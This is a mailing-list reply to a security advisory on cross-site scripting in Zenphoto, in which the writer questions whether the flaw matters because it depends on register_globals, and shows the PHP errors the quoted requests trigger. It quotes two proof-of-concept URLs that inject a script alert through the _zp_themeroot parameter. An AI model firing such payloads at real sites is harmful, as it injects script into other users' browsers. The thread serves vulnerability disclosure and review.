Re: HTB22945: Multiple XSS in ZENphoto

[Christian Kujau <lists () nerdbynature de>]

On Thu, 21 Apr 2011 at 13:42, advisory () htbridge ch wrote:
> The vulnerability exists due to failure in the "/themes/zenpage/slideshow.php"
> script to properly sanitize user-supplied input in "_zp_themeroot" 
> variable then register_globals is on.

You mean "if register_globals is on"? I thought anything 
relying on register_globals was b0rked anyway?

Zenphoto lists "PHP 5.2+" as its requirements and "register_globals" 
defauts to "off" since PHP 4.2.0.

That being said, the PoC generates some messages in the logs:

> http://[host]/themes/zenpage/slideshow.php?_zp_themeroot=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E

PHP Notice:  Undefined variable: _zp_themeroot in ../zenphoto/themes/zenpage/slideshow.php on line 9
PHP Fatal error:  Call to undefined function zp_apply_filter() in ../zenphoto/themes/zenpage/slideshow.php on line 10
 
> http://[host]/themes/stopdesign/comment_form.php?_zp_themeroot=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E

PHP Notice:  Undefined variable: _zp_themeroot in ../zenphoto/themes/stopdesign/comment_form.php on line 6
PHP Notice:  Undefined variable: disabled in ../zenphoto/themes/stopdesign/comment_form.php on line 25
PHP Fatal error:  Call to undefined function html_encode() in ../zenphoto/themes/stopdesign/comment_form.php on line 32

C.
-- 
BOFH excuse #160:

non-redundant fan failure